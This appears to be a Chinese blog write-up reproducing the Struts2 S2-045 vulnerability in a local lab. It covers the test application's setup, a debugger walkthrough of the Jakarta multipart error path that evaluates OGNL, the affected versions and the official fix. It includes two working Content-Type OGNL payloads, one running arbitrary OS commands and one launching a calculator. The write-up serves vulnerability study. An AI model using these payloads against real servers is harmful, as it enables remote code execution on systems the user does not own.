S2-045本地复现与分析

环境搭建:win10   eclipes ee    struts2.3.20   tomcat8

搭建好的环境:

链接:https://pan.baidu.com/s/1mChEMcWRlKALdu9Ikce8OQ 
提取码:uisj 

 

漏洞构造条件只需模拟Struts2上传发包即可,所以我简单写了个登录校验来复现此漏洞

导入基础jar包放置在项目lib目录下

web.xml




    Struts Blank

    
        struts2
        org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter
    

    
        struts2
        /*
    

    
        index.html
    

struts.xml






    
    

    
        
           /welcome.jsp
           /error.jsp
        
        
        
			/{1}.jsp
		
    

包下创建LoginAction

package com.au.struts.action;


import com.opensymphony.xwork2.Action;

public class LoginAction implements Action {
	private String username;
	private String password;
	
	public String getUsername() {
		return username;
	}

	public void setUsername(String username) {
		this.username = username;
	}

	public String getPassword() {
		return password;
	}

	public void setPassword(String password) {
		this.password = password;
	}

	@Override
	public String execute() throws Exception {
		if("admin".equals(getUsername())&&"password".equals(getPassword())){
			return SUCCESS;
		}
		return ERROR;
	}
	
}

login.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>




Insert title here



    
    
    


welcome.jsp

​
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>




Insert title here


登录成功



​

error.jsp

​
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>




Insert title here


登录失败



​

我的tomcat默认的是8080端口,burp默认也是8080,会冲突,所以我把burp的端口修改为8089

S2-045本地复现与分析_第1张图片

 

设置浏览器代理,运行login.jsp,点击提交

S2-045本地复现与分析_第2张图片

S2-045本地复现与分析_第3张图片

修改content-type字段

随便找了几个POC:

任意命令

Content-Type:"%{(#xxx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

解释:

 来获取上下文容器

#container=#context['com.opensymphony.xwork2.ActionContext.container']

通过容器实例化,对Ognl API的通用访问,设置和获取属性。

#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class 

  判断目标主机的操作系统类型,并进行执行命令赋值

#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })

执行攻击命令

#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) 

 

弹计算器:

Content-Type:  
multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

成功执行

S2-045本地复现与分析_第4张图片

 

 

漏洞分析:

struts2的核心是拦截器,漏洞成因就是struts-default中的处理上传拦截器jakarta组件,会解析错误信息里的ognl表达式并执行

struts-default.xml中配置

 

struts2运行机制会首先执行StrutsPrepareAndExecuteFilter类,

然后对输入请求对象request的进行封装调用执行到Dispatcher类的wrapRequest方法

 

下图if判断是否为struts2上传,我们弹计算器的 poc 就构造了multipart/form-data 满足if条件  

getMultiPartRequest()方法则使其默认就使用上述拦截器即解析类,从而引发了漏洞

 

org.apache.struts2.dispatcher.Dispatcher类wrapRequest方法838行设置断点进入MultiPartRequestWrapper

S2-045本地复现与分析_第5张图片

 

 单步调试,此时调用JakartaMultiPartRequest类parse方法进行解析请求,进入函数

S2-045本地复现与分析_第6张图片

 

parse方法中,processUpload方法触发异常,在下面捕获到该异常 (Content-Type异常)

并且将异常信息传入JakartaMultiPartRequest类buildErrorMessage方法

S2-045本地复现与分析_第7张图片

S2-045本地复现与分析_第8张图片

 

进入buildErrorMessage方法返回LocalizedTextUtil.findText方法

 

e.getMessage()就是获取我们上一张图的报错信息,其中就有构造的payload,继续单步

S2-045本地复现与分析_第9张图片

 

来到LocalizedTextUtil.findText方法 

 

返回findText()方法,进入该方法,上图defaultMessage参数被传入,继续调试

 

进入getDefaultMessage方法,defaultMessage赋给message,translateVariables方法带入此参数

顾名思义,我们构造的ognl表达式被执行。我们不再进入,直接运行,poc被执行。

S2-045本地复现与分析_第10张图片

 

总结:

漏洞成因:

Struts2默认解析上传文件的Content-Type头,存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码。

影响范围:

Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10

 

官方修复:

升级,补丁去掉方法: LocalizedTextUtil.findText(......);

tip:分析原理及过程时,也可通过官方修复的代码或文档来对照快速定位关键代码进行调试分析。

 

自己动手实践分析,确实比看别人的强啊~

 

你可能感兴趣的:(漏洞利用)